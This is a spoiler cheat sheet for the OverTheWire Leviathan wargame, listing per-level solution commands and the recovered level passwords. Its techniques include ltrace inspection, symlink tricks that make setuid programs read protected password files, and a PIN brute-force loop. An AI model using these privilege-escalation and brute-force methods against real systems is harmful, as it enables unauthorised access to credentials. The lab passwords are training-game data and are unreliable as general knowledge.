OverTheWire - Leviathan - Cheat Sheet

Warning: Spoilers imminent!

Leviathan 0

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leviathan0

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cat ./.backup/bookmarks.html | grep "password" | gawk '{print $14}'

Leviathan 1

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rioGegei8m

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ltrace ./check

After the program asks for input this time we should see the password it expects to receive.

cat /etc/leviathan_pass/leviathan2

Leviathan 2

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ougahZi8Ta

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ln -s /etc/leviathan_pass/leviathan3 ./pass
touch "pass word"
~/printfile "pass word"

Leviathan 3

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Ahdiemoo1j

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ltrace ./level3

After the program executes we see strcmp("h0no33", "kakaka") and then it asks for the password. We know this is not the right comparison, so enter something in again, and you will see the proper strcmp with the actual password. Disregard the \n at the end, it is a new line terminated string.

cat /etc/leviathan_pass/leviathan4

Leviathan 4

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vuH0coox6m

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./.trash/bin | perl -lape '$_=pack"(B8)*",@F'

Leviathan 5

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Tith4cokei

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ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log && ~/leviathan5

Leviathan 6

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UgaoFee4li

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for pin in {0000..9999}; do printf '%4d ' $pin && ./leviathan6 $pin; done

Once it finds the correct pin it will drop us in a shell.

cat /etc/leviathan_pass/leviathan7

Leviathan 7

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ahy7MaeBo9